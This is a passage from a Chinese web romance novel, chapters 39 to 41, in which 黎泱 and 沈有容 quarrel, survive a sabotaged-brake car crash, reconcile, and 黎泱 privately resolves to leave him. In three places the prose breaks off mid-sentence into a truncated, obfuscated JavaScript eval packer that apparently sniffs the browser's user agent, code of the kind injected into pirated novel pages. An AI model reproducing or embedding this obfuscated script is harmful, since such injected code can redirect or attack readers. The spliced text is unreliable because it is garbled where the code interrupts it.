虽然只是短短的一瞬。 可还是被黎泱捕捉到了沈有容眼底蕴藏的情绪。 ——冷漠又疏离,就像是面对一个无关紧要的陌生人。 黎泱为自己的这个想法觉得可笑。有些自嘲地想:是不是她最近太敏感了?为什么会蹦出这个念头? 也许沈有容刚才只是没有发现她,或者是距离太远没有认出她。 等到走近,她再打招呼...... 黎泱突兀地站在大厅,且视线频频看向沈有容,很快就引起了旁人的注意。 一个副总好奇道:“那位小姐是认识沈董吗?好像一直在看您。” 话音未落,立刻有人叫来前台问话。得知黎泱是没有预约一直等在这里后,众人脸上都露出了心照不宣的眼神。 觉得,这又是一位想要“走捷径碰运气”的蠢女人。 沈有容继任的消息一经放出,不知道有多少人按捺不住念头蠢蠢欲动。 大家都在等沈有容的反应。 黎泱觉得心里不自觉染上了一层紧张,眼看着沈有容离自己越来越近。 她清了清嗓子,想到昨晚的不欢而散,觉得应该表现出放软的态度,给自己找个台阶下。 十米,五米,三米...... 沈有容站到了她面前。没有停留,擦肩而过。 “沈......” 黎泱只发出了一个音,其余的字节都堵在了嗓子眼。 她就这么眼睁睁地看着沈有容从自己面前离开,脚步未停。 近在咫尺的距离。 她甚至能够闻到沈有容身上熟悉的雪松香味。在过去,因为拥抱和各种近距离的接触,她的衣服上也沾染过相同的味道。 但现在,香味的主人没有再为她停留。 黎泱僵在了原地,耳畔蓦然有嗡嗡的耳鸣响起,有一刻什么都听不见。 就这么手足无措地拎着食盒,看着沈有容被人簇拥着离开。 ——和她的距离渐行渐远。 副总回头看了眼,无奈摇摇头。在心里想:可惜了这么漂亮的美人,奈何沈有容根本不是怜香惜玉的人。 直到走出公司上了车,沈有容都没有再看向黎泱一眼。 “沈董,YK能源的周总晚上临时和您约了会面,您看要推了吗?” 秘书坐在副驾,核对着今天临时多出的行程。等他汇报完,却迟迟没听到沈有容的回应。 他狐疑地抬头,竟然从自家老板脸上看到了......走神? “怎么了吗沈董?” “没事,照旧即可。” 沈有容打开手机,手指却悬在屏幕半空,迟迟没有下一步动作。 最终什么都没有做。 他关掉手机,曲起手指按了按眉心。深吸一口气,迫使自己转移了注意力,去准备接下来冗长的会议。 . 黎泱固执地盯着放在桌面上的手机,抱着膝盖坐在地板上一动不动。 她已经维持这个姿势很久,久到让小梅觉得她已经睡着了。等小梅想上前去查看的时候,才发现她还醒着。 happy趴在黎泱的脚边,仰头不解地望着她。 它不知道,为什么黎泱最近总是心不在焉,已经很久没有认真地陪它玩了。而且,家里好像少了一个人,沈有容也很久没有出现了。 小狗什么都不懂。 它只是乖乖地趴在地上。察觉到黎泱的情绪不对,瞪大眼睛看着她,以为是自己做错事惹她生气了。 小梅眼见地看到黎泱手背上还有一片没有消散的烫伤痕迹,不免心疼地替她包扎了伤口。 “黎小姐,已经很晚了。地上凉,你回房间休息吧。” “我不困。” 她摇了摇头,视线仍然没有从手机屏幕上移开。 从宁恒回来后,她就这么坐在客厅,不说一句话。 出门前带走的食盒原封不动地又带了回来。佣人拿不准主意,看着原本精心准备现在却发冷的食物,不知道该怎么处理。 手机弹框显示电量耗尽,即将关机。 黎泱看着黑下来的屏幕,知道自己又等不到回复了。 心脏像是被狠狠攥住,一抽一抽地跳动,带来的是忽视不了的疼痛和酸涩。 沈有容望向她时的那个疏离眼神,还有对她视若无睹的冷淡反应,被抽离成一帧帧定格画面,不断在脑海中闪现。 怎么都忘不掉。 怎么都做不到不在意。 黎泱甚至原本自欺欺人地告诉自己:只要等到沈有容的消息,就有一个解释。就有机会,让她要质问他一句为什么。 可没有,什么都没有。 空空如也的聊天框,黑屏关机的手机。 就像残酷的事实摆在她眼前,告诉她,再固执地等下去也是一无所获。 黎泱垂下眼睛,摸了摸happy的脑袋。 小狗还以为她终于不生气要陪自己玩了,兴奋地站起身贴着黎泱,绕着她走来走去。 黎泱慢慢侧身躺下,把额头抵在happy的脑袋上,无声捂住了眼睛。 掌心变得湿润,只有她知道。 . 项怀英接到沈有容时,他刚才一场无聊的酒会中抽身。 原定今天只有一个发布会流程,但下午接踵而至的会议和临时邀约让计划一变再变。 沈有容单手松了松领结,解开领口的扣子。在无人的时刻,终于短暂地摆脱了这身衣服的束缚。 为了今天的发布会,他已经在公司连轴转了一周,通过计算下来每天的休息时间不足五个小时。 他靠在座椅上,闭眼假寐,既是片刻的休息也算醒酒。 不能带着一身酒味回去见黎泱。 项怀英从镜子里看了眼,知道沈有容并没有睡着。 他斟酌地开口说:“黎泱小姐今天问我要了你的行程。听厨房说,她亲自下了厨,还不小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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项怀英无奈地长叹一口气,继续开车。 直到还有几公里快到家的时候,沈有容忽然出声:“先转道,去另一个地方。” 他突然想明白了。 比起自以为给予对方的“安全”,沈有容更不愿意看到黎泱脸上的难过表情。 项怀英说的对。 这对黎泱来说不公平,也太残忍。 他没资格,为她擅作主张,而忽视她的感受。 因为误会,沈有容已经和黎泱经历了一次险些分开。 他不想再重蹈覆辙,再伤害两人的感情。 沈有容意识到自己应该做些什么去弥补,去和黎泱道歉。 就在今晚。 他不想再拖了,只想和黎泱相拥。 沈有容对黎泱的手指尺寸早有大致的推测。在两人十指相扣缠绵的时候,他盯着黎泱的手指,就觉得上面缺少了一样东西。 从珠宝店出来,他带着亲自挑选的那枚戒指,无限渴望早点回到家见到黎泱。 替她亲手推上戒指。 宣泄没有出声的爱意。 意识到这一点,沈有容自己都哑然失笑。 因为他比自己想象的,更需要她。 回到家中的时候,他并没有和昨晚一样在客厅看到黎泱等待的身影。应该是已经休息了,这样很好,夜里温度低,他更担心黎泱会不会着凉。 沈有容不想让黎泱闻到身上的烟酒味,有意沐浴完才拎着纸袋,站到了黎泱卧室的门口。 他鲜少有这样紧张的时刻。 过去二十多年的经历都太过顺畅,让沈有容觉得没有什么是能超出自己掌控范围内的事。 可直到遇到黎泱。 他第一次体会到了生活中的变数。 让沈有容意识到,他并不是无所不能的。 和所有处在感情中的男生一样,他在不知道怎么哄女生的时候也会犯难,也会头疼。 可他又享受着这种感觉。 矛盾得要命。 沈有容定了定神,伸手敲响了黎泱卧室的门。 几声过后,他耐心等待,却没有听到动静。 睡着了? 沈有容轻轻按下了门把手,没有锁,被他轻而易举的推开。 屋内并没有开灯,静悄悄的,漆黑一片。 安静地,就好像原本屋内空无一人。 沈有容忽然心中一沉。 他打开了头顶的吊灯,灯光亮起的那一刻,终于看清了屋内的摆设。 床榻整洁,被子没有摊开,而是被人细心叠好。沈有容伸手触摸了一下床沿,是冰凉的。 39. 不夜39 39 黎泱只是想让自己冷静冷静。换一个陌生的环境,不再待在那个满是回忆的家中。 她躺在酒店的床上,没去管已经关机了的手机。身体疲惫到极点,可意识还是那么清醒的。 怎么都睡不着。 也什么都不想去想。 黎泱知道晚上不适合做决定,再折腾下去也没有意义。她索性把被子拉过头顶蒙住,自暴自弃般地催眠自己。 睡吧,睡一觉。明天怎么样,等明天到了再去想。 她只是任性了一回,没有人会发现。 沈有容也许还和之前一样不会回家。就算回了,也不会特意去找她。 等明天起来,她无事发生地回去,一切都和从前一样。 这样乱七八糟地想着,黎泱逐渐意识混沌,慢慢睡去。 但这一晚,注定有人彻夜未眠。 一夜无梦,黎泱难得睡了个好觉。第二天早晨醒来时,已经快到中午。 她简单收拾好自己,担心再晚点回去后露馅被小梅发现,匆忙拿了手机想看眼时间。却发现自己昨晚忘记了充电,还处于关机的状态。 不过也没关系了就是。黎泱想,自己又不是大忙人,没人会联系她。 她背上包,取下房卡出门。摁了电梯,等待电梯上行到这一层。 “叮咚”一声,电梯门开了。 并不是空的,电梯厢内还站着一道人影。 黎泱抬眼一扫,愣在了原地。 .....沈有容?! 他为什么会在这里? 她的大脑闪过一刻的空白,不知道该说些什么。沈有容穿着大衣,更衬得身线颀长又挺拔。只是,又有一丝风尘仆仆。 如果仔细看的话,能发现他的眼下还有一层淡淡的乌青。 沈有容也没说话,双手插在两侧的口袋中,就这么无声地盯着黎泱。 相顾无言。 直到电梯因为长时间停止,门开始自动闭合。黎泱眼睁睁看着那两道门慢慢向中间合拢,阻挡了两人相望视线—— 忽然,沈有容动了动身形。 向前一步,伸手拦住了即将闭合的电梯门。 黎泱才终于听到他开了口: “进来。” 嗓音带着一丝沙哑和倦意,像是昨晚没有休息好导致的。 所以,他是昨晚又熬夜加班了? 黎泱没理由再站在外面,衡量了两秒,踏进了电梯。只是,站在了离沈有容最远的角落。 电梯开始向下运行。 “你怎么到这里......” “为什么突然消失?” 两个人突然同时开口。黎泱话没说完,却从侧面的镜子中看到了沈有容脸上的神情。 即使已经有所克制,可黎泱还是听出了话音里潜藏的愠气。 他在生气。 她不明白,究竟自己的哪个举动又惹到了沈有容。 “我只是想出来散散心。” “电话和消息都没有回复。” “手机没电了,我忘了充。” “为什么不等我回来,一声不吭就消失?” 听到沈有容接连的质问,黎泱的心里也涌出一股委屈的情绪。 什么叫不复消息,什么叫等他回来? 是她没有做吗,他有给过她机会吗? “我只是想找一个没人的地方独自待着冷静冷静,连这点权利也没有吗?沈有容,就算是养一条小猫小狗,它们也有不开心的时候吧——” 不是在公司的时候和她表现的是陌生人,连一个眼神也不愿意分给她。 现在又跑到面前来找她,又兴师问罪问她为什么不告而别。 黎泱再也不想承受这样让人内耗的折磨,索性一股脑全部和盘托出: “沈有容,你是不是也把我当成了你的物件。高兴了就施舍目光,不开心就搁置一边。还要我的生活要永远围着你转?” 她要随叫随到,不能有自己的情绪,还要永远对他表现出愉快心情。 可她也是人。 也会有自己的情绪,也会想要陪伴,也会有偶尔无理取闹的时刻,也想要有人能包容她的任性。 黎泱把心里的话全部说出。 等到再抬头看向沈有容的时候,竟然从他的眼中看到了愕然,还有一丝......受伤。 但消失的太快,根本不等她再去捕捉细看。甚至让她怀疑,是不是自己看错了。 沈有容扯了扯嘴角,脸上闪过转瞬即逝的落寞,缓慢地说:“原来你是这样想的......” 黎泱觉得心脏蓦然一阵刺痛。 后知后觉意识到,自己刚才的话可能说重了。 原本亲密无间的恋人,说出的话却变成了最锋利的剑,刺向往日缠绵的对象。 效果,比世间所有最毒的话加在一起还要狠,还要伤人。 可是已经说出口的话,覆水难收,没有再收回的余地了。 黎泱想,她给两人原本就紧绷的关系又添了一把火。 她和他,怎么就变成现在的这个样子了? 不应该是这样的,不应该。 之后,电梯内陷入诡异的寂静。黎泱想要有所补救说什么,可喉咙就是被人紧紧扼住发不出声,说不出一句话。 沈有容也闭上了眼睛,不知道在想什么。 直到电梯终于停下,到了地下车库。 黎泱跟在沈有容身后,步伐走得很慢。到了车前,她也是走到后排,想要伸手拉开车门—— 手腕忽然被人拽住,她的身体也被向后一推,抵在了车门上。 后脑勺被沈有容用手掌护住,他扣住黎泱的下巴,倾身压了下去。 一个谁都没有预料的,不合时宜的吻。 一个没那么温情,充满情绪和掠夺意味的吻。 黎泱瞪大眼睛,对沈有容的意外举动觉得一惊。她这次不想再被动承受,和以往一样丢盔卸甲。 口腔种弥漫了血腥味,但她却没有察觉到疼痛感。 沈有容放开黎泱,慢慢后退了一步。用指背擦了一下嘴角,一抹鲜艳的红色立刻在皮肤上划开。 他的唇形很好看,薄唇不笑的时候有些拒人千里之外的冷淡,可笑起来的弧度又那么勾人。 此刻,他的唇上泛着异样的红,被咬破的地方尤为显眼,却让人觉得有种妖冶的美感。 沈有容看着手上的血色,扬起嘴角,忽然轻笑出声,抬头问黎泱: “要不要解气再咬一下?” “你疯了吗?!为什么刚才不直接推开我——” “我不会推开你。” “......” 黎泱像被人从头泼了盆冷水,冷静了下来。没工夫再去想前面闹的别扭和争吵,现在只想确认沈有容到底有没有受伤。 她走到沈有容面前,垫脚,伸手捧着他的脸,想去查看被咬的嘴角严不严重。 沈有容配合地低下头,目光直视她。对着黎泱轻声说了一句话。 “我现在可以亲你吗?” 黎泱脸色一烫,装作没听见。她看了,沈有容的嘴角只是破了一层皮,很快就能愈合。 她松开手,丢下一句“我还有没消气”,头也不回上了车。 后座的车门被锁住,黎泱也只有坐到副驾。 沈有容松了松眉心,心里滑过一丝庆幸。 车子开出地下车库,黎泱本以为会一路沉默回到家,却没想到沈有容忽然开了口。 “抱歉,黎泱。” “我来找你,问你为什么不接电话和消息,不是兴师问罪。只是因为担心你遇到危险,想确认你的安全。” 黎泱看着窗外,不自然地说:“我能遇到什么危险。” 她不知道,昨天沈有容为了找她下了多大的功夫。但在确认她的安全知道酒店地址后,他并没有深夜赶去,而是在今早才动身。 沈有容没有在黎泱面前提到这些。 他扶着方向盘看着前方道路,换上了认真的语气:“因为是危险是我带给你的。” 黎泱一怔,不明所以转头看向他。 沈有容经过昨晚和项怀英的对话,已经做好了决定要告诉黎泱真相。他没有再隐瞒,把近期发生的事一一说出。 末了,他轻轻叫了黎泱的名字。 “是我的做法太自我,忽视了你的感受,让你觉得没有安全感。” “黎泱,你对我的意义从来不是所有物。” “远比这重要,远比这珍贵。” 听完沈有容的话,黎泱陷入了很久沉默。 关于这段时间他的反常举动,沈有容都给出了解释。 一时之间,缠绕在心头多日的烦闷情绪被悄然冲散。 随之而来的,却是对沈有容更深沉的情绪。 他不仅要承受集团内的压力,应对外界的舆论,还要分出精力应对那些藏在暗中的恶意。 “还觉得生气?” 黎泱抿了下嘴唇,“一点点。生气是因为你先前瞒着我,不对我透露消息。” “沈有容,你要对我有信心。我没那么娇弱,承受不了一点风雨打击。” 她不怕和沈有容一起面对危险。 也不想被推开,眼睁睁看着他一个人应对困难却什么都帮不上。 大抵是应了那句话: 爱是常觉亏欠。 可也要考虑,被爱的人是否需要这种暗中的保护。 他们更想要的,也许只是最直白直接的言语,和得到想陪在对方身边的一个获允。 沈有容哑然失笑,点点头。 “是我的错。” “不知道这位小姐回家后看到我准备的赔礼,能不能消消气。” 黎泱被他的语气逗笑,情不自禁弯了弯眉眼。 “那我要是很挑剔,不满意怎么办?” 沈有容顺着她的话往下说: “我觉得你会喜欢。如果真的不喜欢,那就只好一直送,到你满意为止。” 她忽然想起,好像已经很久没有像现在这样和沈有容坐在一起,这么轻松地对话了。 黎泱想继续说什么,却突然发现沈有容神情有所变化。 “怎么了?” 沈有容声音没什么起伏: “车子被人做了手脚,刹车失灵了。” “什么......” 黎泱愕然,还没有来得及消化完这个骇人的消息,就听到沈有容继续吩咐她:“先报警,让警察联系我的秘书,追查我手机上芯片的位置找到我们。” “好,我知道了。” 虽然很慌张,可黎泱告诫自己必须要冷静下来。她按照沈有容的话报了警,说明了所有的情况。 沈有容调转了车辆行驶的方向,拐上了一条前往郊区的路。他安抚黎泱:“到时候我会找一处没人的护栏撞上去,把车子逼停。别害怕,我会保护好你。” “那你呢?没有考虑过你自己吗?” 黎泱克制住因为紧张急速跳动的心脏,在这种危险的时刻,肾上腺素在不断攀升。她不要沈有容的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“求求你了,不要再丢下我一个......” . 消毒水的味道萦绕在鼻尖。 黎泱从噩梦中醒来,愣了好久才反应过来自己现在身处哪里。她看了眼自己还在输液的右手,明白自己是在医院。 “你醒啦黎泱姐!” 沈汀仪从外面推门进来,惊讶地看到黎泱已经醒来。“你有没有哪里不舒服?我帮你叫医生......” “沈有容呢?”黎泱抓住沈汀仪的手,焦急地问:“他怎么样了?有没有危险?” “二哥已经结束手术进普通病房了,医生说很快就能醒过来。黎泱姐,你先躺下休息还不能下床,医生说你有轻微脑震荡——” “我要见他。Cindy,现在带我去见他好不好?” 沈汀仪拒绝不了黎泱的请求,只能答应下来。但她还是坚持叫来医生给黎泱检查了身体,确认没有大碍后才让她下了床。 她的伤势比沈有容轻,醒来的也比他早。 黎泱到病房的时候,看到庄明意和沈铮也在床前。 庄明意看到黎泱醒来,也很激动。“黎小姐,你的身体已经恢复好了?有不舒服的地方一定要和医生说。” “我没事了,谢谢您的关心。我......就是想来看看沈有容的情况。” 庄明意明白了,给沈铮递了个眼神,两人起身离开了病房,把空间留给了黎泱。 临走的时候,庄明意经过黎泱身边,对她说了一句话: “黎小姐,希望你不要为这件事感到自责。这场意外无关你,是冲着有容去的。甚至换句话,你也是受害者。” 庄明意没等黎泱的回答,拍了拍她的肩膀离开了。 黎泱看着她离开的背影,发现不过短短半个月的时间,庄明意好像憔悴了些。在刚才交的交谈中,她竟然发现了庄明意头上生了一根白发。 是啊,子女接连发生意外,这样大的变故,换成哪个父母能够接受。 黎泱收回视线,目光转向病床上的沈有容。 她坐在床前的椅子上,就这么看着他。沈有容安静地躺在病床上,脸色有些苍白,头发服帖地垂下,稍稍遮挡了眼眶。 他放在被子外的一支胳膊上还输着液,皮肤下的血管和青筋在灯光照射下那么明显。 难得看见沈有容有这样虚弱的时刻。 病房内安静无声,只有机器不时运作发出的轻微声响。 黎泱想伸手抚平沈有容的眉心,可又怕动作弧度放大,会吵醒他。 撞击前,如果不是他将黎泱护在身下,那么她恐怕也是九死一生。 庄明意让黎泱不要觉得自责。 可她做不到不这么想。 现在她站着,而沈有容还躺在病床上。黎泱怎么都做不到不去这么想。 “你之前总说我笨。可是沈有容,明明你才最傻的......” 他现在身上肩负着整个沈家和宁恒的重担,多少人的视线都放在他身上。有人想看他倒下,有人寄希望于他身上。 可当危险真正来临的那一瞬,沈有容还是奋不顾身护住了她。 不计后果,飞蛾扑火。 她该怎么去回应这份感情。 40. 不夜40 40 沈有容和黎泱出车祸的地段在市郊,当时没有过路的车辆。再加上沈家下了大手笔封锁消息,因此关于这件事,外界没有一点风声流出。 不幸中的万幸,好在沈有容伤势不重,在医院观察几日后便出院。他出院后做的第一件事便是在宁恒露面,稳定人心和局势。 沈有容不是忍气吞声的好脾性,相反,眦睚必报。 这盘棋下得已经有人按耐不住。这次有人在背后做的手脚,明显是要冲着性命去的。事态已经很恶劣。他没理由无动于衷放任不顾。 刚好,沈有容也没了耐心。 车祸发生那天黎泱也在现场。如果稍微有一点偏差,他真的不敢设想局面会怎样。 很快,两天后,一则新闻震惊整个港城。 某知名企业负责人涉嫌违重大刑事犯罪的消息传出,在公众场合被警方带走,已经立案调查。 没过多久,影响便波及到了财经商圈,接连传出多名公司法人和涉事股东涉嫌被逮捕,一系列的丑闻风波接踵而至。 一时之间人心惶惶,只有宁恒在风雨中岿然不动。 宁恒内部也重新洗牌,从上到下人员变动大出血。过去那些暗中勾结的关系被沈有容用雷霆手段连根拔起,全部斩断。 所有人都说,沈有容比过去的沈闻时做的更果决,更狠戾。 他过去藏拙,从没有踏入公众视线。 可现在,被迫推上了那个位置后—— 锋芒毕露。 沈有容不像沈闻时,会顾及表面合宜。 他以自己的意志为法则,行事手段强硬不容置喙。就算有人不满,可在看到最后的成效后,又不得不闭上了嘴。 沈有容仿佛天生就是为了那个位子而生的,掌握话语权的领导者。 经此过后,宁恒彻底换血,沈有容的地位无人再敢质疑。 . 黎泱从手机屏幕前移开视线,听到了院子外传来的汽车声。她放下手机,三步并两步跑到大门,刚好和进门的沈有容迎面撞上。 “怎么了,这么慌张。” 沈有容脱下身上的外套,不想让外面沾染到的凉气碰到黎泱。 公司方面的事情暂时稳定下来,他也从前段时间忙碌的状态中脱身,每天准时下班回家。 黎泱说:“我刚刚看到了一个关于你的采访。” “哦,都说了什么?” 沈有容随口应和。 接受的采访太多,并不知道黎泱提到的是哪一个。 “没什么,就是一些正常的问题。比如现阶段的目标,未来的战略定位......” 采访大多事先打点过,记者不敢乱写,稿件完成后还会交给沈有容过一眼。就算没有打过招呼,也没有哪个记者敢提问什么敏感的话题。 但黎泱刚才下滑的时候,看了眼评论区。 热闹议论,五花八门的评论区,堪比小报的精彩程度。 其中夹杂着对豪门秘辛的八卦,对沈有容瞩目样貌的感慨,对近期商界变动内幕的猜测......已经各种乱七八糟能想到的想不到的言论。 最热门的一条评论是:“不知道沈家这位新的继承人,未来和哪个家族强强联手。” 底下有人回复:“反正肯定都是豪门间的联姻,各取利益。” 黎泱就看到这,没有再往下。 她把这点情绪藏得很好,沈有容并没有看出异样。 只是晚上用餐的时候,黎泱频频走神,有些心不在焉。 趁她沐浴的时间,沈有容找到项怀英问了话,询问黎泱这几天做了什么见了哪些人。但都一切正常。 黎泱吹干头发出来时,正看到沈有容坐在她的椅子前,在翻阅她白天的学习资料。 听到动静,他放下纸张,回头对站在浴室门口的黎泱招了招手。 “身体不舒服?晚上看你一直在走神。” 黎泱走过去,被沈有容伸手揽住了腰,带到怀里抱住。 他坐着,她站着,黎泱能看见沈有容带旋的发顶。 她没忍住,伸手摸了摸沈有容的头。 “怎么,把我当成了happy在摸?” 沈有容何曾受到过这种“特殊待遇”,揶揄地笑着问黎泱,却没制止她的动作。 被他这么一讲,倒是黎泱先收回了手。咳嗽两声,欲盖弥彰:“没有,是你多想了。” 闲聊了几句,沈有容忽然开口:“周五晚有个宴会,我想让你陪我参加。” 黎泱一顿,想起前两天从项怀英口中听到的消息。 周五,那不是宁恒举办年会的时间吗? “你要我......和你一起出席年会?” 沈有容“嗯”了一声,扫了眼黎泱的手,发现上面干干净净的。下午回来的时候他就注意到,她的手上没有戴任何东西。 他问:“不喜欢送你的那个戒指?” 黎泱正想着年会的事,突然被打断思路,一时之间没反应过来沈有容说了什么。 “嗯?什么戒指......” 话说出口,才想起是之前两人吵架,沈有容买来和她道歉的那枚戒指。但后来因为出车祸的事,黎泱搁置在一边还没有拆开。 见沈有容蹙了眉,她赶紧说:“没有,只是因为要方便写字,所以没戴。” “至于年会的事——” 黎泱迟疑的样子已经给了沈有容回答。 他手上力道不自觉加重,追问:“你不想去?” 没办法了,话都说到这份上了。 黎泱只好点了点头。 “为什么?” “宁恒的年会,到时候肯定会有很多人在场。如果我陪你一起参加,会被其他人看见......” 沈有容盯着黎泱的眼睛,声音忽然染上了几分压迫的意味。 “看见了如何。” “还是说,你觉得我们现在还不是在认真谈恋爱,是见不得人的关系?” “不是。”黎泱有些紧张地想要解释,可越到这种时刻,越组织不好语言。“可在那种场合下,你的身边不应该出现我——” 她的话只说了一半。因为下巴被突然抬起,沈有容带着薄茧的手指抚上了她的脸,带着不能挣脱的力道。 “黎泱,别再往下说。” 这是一个很明显的拒绝意味。 沈有容不想再从黎泱口中听到那样的话。 “......对不起。” “如果你需要女伴,可以考虑其他人。但是,我真的没办法陪你一起参加。” 黎泱的声音越说越小,到最后大概只有自己听清。 箍在她身上的那道力道也陡然消失。 沈有容放开她,站起了身。刚才的身高差一下转变,换成他居高临下看着黎泱了。 她以为他会说些什么,反驳也好,生气也好,质问她也好。 可沈有容沉默良久,眼底翻涌着不明的情绪,但最后,什么都没说。 黎泱突然后悔,觉得自己是不是说错话了? “沈......” 她刚要开口,却听到沈有容抢先一步说了话。 “好,我尊重你的选择。” “既然不想去,那就不去。” 说完,他便离开了。临走前,还带上了卧室的门。 留下黎泱一个人留在房内。 她沮丧地揉了揉眼睛,深深地叹了口气。 坐在床上弯腰抱住膝盖,把脸埋在臂弯中。 明明不是想这样的。 可最后还是被自己搞砸,闹成现在的局面。 没人知道,在沈有容出院前,黎泱和沈铮有过一次谈话。 . 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黎泱把画面放大,看到他是一个人出现的。 很简单的祝词后,沈有容便下台离开了。 她害怕错过一个镜头,视线贪婪地落在沈有容身上,没有一刻分神。接下来的主持人说了什么,现场发生了什么,根本都听不进去。 沈有容的位置被安排在舞台正下方第一排,正好在摄像机扫过的范围内。 灯光打在他身上,格外瞩目。就好像有一道无形的壁障将他和周围人隔开,让人移不开视线。 可是,又让人莫名觉得他的身影有些孤单和落寞。 隔着屏幕,黎泱的手指在虚空中划过沈有容的眉眼。 只有在这个时候,她才有勇气展露最真实的自己。 “我也很想陪你一起出现在众人面前。” “可是我做不到,也不应该这么做......” 她现在—— 每一天都是倒数,能和沈有容待在一起的日子。 . 沈有容回到家中的时候,黎泱已经睡着了。 他在门前驻足了片刻,轻轻按下了门把手。 屋内漆黑一片,黎泱侧身压着手臂,怎么看都不是舒服的睡姿。 沈有容放轻动作,替黎泱抽出不知道有没有被枕麻的手,帮她换了个舒服的姿势。他拿走被黎泱握在手中的手机,不小心摁亮了屏幕。 他随意扫了一眼,看清内容后有些出神。 那是今晚宁恒年会的画面。直播早就结束,放的是回放。 沈有容转头看向熟睡的黎泱,过了半响,无声地叹了口气。 41. 不夜41 41 黎泱接到孟序的电话时,犹豫许久才按下接通。 自从先前从孟家搬出后便和他们断了联系。黎泱对孟家当年的做法始终有芥蒂,无论如何都不能被完全抹平。 对于孟序这个舅舅,黎泱态度复杂。一方面难以原谅,可另一方面又忽视不了他对自己的救助。 所以当听到孟序提出约自己见面吃顿饭时,她斟酌了片刻,最终还是答应了下来。 ——算是,离开港城前的最后一次见面了。 见面那天,她特意让司机将自己放到了一条马路外,自己步行到了饭店。 孟家三口人都在。许姿依然眼神不屑盯着黎泱,在看到她的状态比过去还要好,根本没有一丝失魂落魄的狼狈样子觉得不平,冷哼出气。 孟今妍眼中闪过一丝妒意,下一秒不知道转念想到了什么,嗤笑出声。 “黎泱,看样子你现在过得还不错。” “抓紧时间珍惜吧,不然可马上就要被甩了。” “今妍——你都胡说些什么?” 孟序低声训斥,想让孟今妍收敛。却没想到更激起了她的逆反心,也不遮掩了,直白地讥笑道: “我说的可都是实话啊。” “沈有容现在上位接任了宁恒,以后肯定也要掌管沈家。以他那样的身份,未来肯定要娶同样豪门出身的人联姻。” “所以我可是好心提醒某些人,记得掂量自己是几斤几两。” 孟今妍说这些话的时候,黎泱平静地喝着汤,连个眼神也没有分给她。 这就像是一拳打在棉花上,不痛不痒。孟今妍没等到意料中黎泱恼羞成怒的反应,觉得索然无味。 倒是孟序听了这番话,脸上出现了震惊的神色。 如果不是孟今妍说漏嘴,他怎么也不敢把黎泱和沈有容联想到一块去。 许姿这时也在旁边掺和,幸灾乐祸地说: “看样子你还不知道,你这个外甥女能耐可大着呢。也不知道使了什么计,竟然能搭上沈家的少爷。” “不过可惜,麻雀注定变不了凤凰,躲不了被人家甩了的命运。” 说这句话的时候,许姿的脑海中却浮现的是另一个人的脸。 黎泱的母亲,孟琳琅。 许姿也算出身书香家庭,父母都是老师,自然带着一点自命不凡的清高傲气。可她和孟序的婚姻,还是逃不开包办性质,两人连一面也没有见过,就这么被绑定在了一起。 嫁到孟家后,许姿结识了孟琳琅。 她比许姿勇敢,为了真爱和反抗父母定下的婚约,和黎泱的父亲私奔了。 这么多年,许姿始终认为她厌恨孟琳琅,是因为她私奔的事毁了整个孟家的形象。 可也有过那么夜深人静的几次,她问自己,真的是这样吗? 许姿从见到黎泱的第一眼开始,就表露出了深深的不喜。 不仅仅因为她是孟琳琅的女儿。 还因为许姿从她身上,看到了当年和孟琳琅一样的东西。 黎泱被孟序叫了出去,到了一处没人的露台。 她其实能猜到,孟序要对自己说什么。 “小泱,刚才今妍提到你和沈有容的事,是真的吗?” 黎泱点了点头。 孟序的脸色倏然挂上了严肃和凝重,在他的眉间拧出了一个深深的“川”字。他神情复杂地看着黎泱,末了重重地长叹一声。 他并没有问两人是怎么走到一起的,而是带着长辈的语重心长。 “小泱,我知道自己接下来的话可能会让你不舒服,但你和沈有容......不合适。你也应该知道他的家世背景,你们之间的差距,太大了。” 尤其是在沈闻时出事后,沈家的大权和责任都落到了沈有容一人身上。 他被推上了那个位置,无论是否是他的意愿,都已成定局,都要接受随之而来的重任。 黎泱有些解嘲地动了动嘴角,笑意很浅,不达眼底。 “舅舅,我都知道。” “我会从他身边离开的。”也离开港城。 那天沈铮和她的对话,除了在场的两个人,没有任何人知道具体内容。 回去后,黎泱便做好了准备。 其实离开的念头早就蒙生,只是迟迟没有下定决心。 而那场和沈有容共同经历的车祸,就是促使她做决定的引线。 沈有容奋不顾身扑向她,将所有的冲击伤害都自己挡下。 黎泱没法做到不动容:在病床前看到昏迷未醒的沈有容时,在交谈中看到庄明意发间突兀的一根白发和憔悴的身形时,在看到沈有容为了稳定宁恒而加班疲惫时,在网上读评论看到讨论沈有容未来的联姻对象时...... 有很多很多的情况,都在告诉黎泱:再留在沈有容身边,只会起到一个累赘的作用。 她不能那么自私地为了感情而一昧逃避,装作看不到这些事。 沈有容终归是要回到他的身份上去。 她也总要回到现实。 黎泱这些天一直在倒数,能陪在沈有容身边的日子。 格外珍重,生活里的每一刻。 会把目光都放在他身上,吃饭的时候,一起窝在客厅沙发看电影的时候,遛happy的时候,相抵缠绵的时候...... 她没再提到关灯。 反而贪婪视线的那个人,换成了黎泱自己。 倒是惹得沈有容忍不住发笑,食指抚上她的脸,沿着脸部轮廓向下游走。 他嗓音低沉,带着一丝揶揄: “泱泱,我好像看不透你在想什么了。” 黎泱贪心地想把时间推后再推后。 可她没有那个超能力。十二点钟声敲响,魔法就要失灵。 童话到底没有变成现实,美好到底会被冷硬替代。 沈有容有项重要的会议,要亲自飞到京城参加,动身时间就在明天。 晚上,黎泱早早洗漱完,坐在床上在看书。 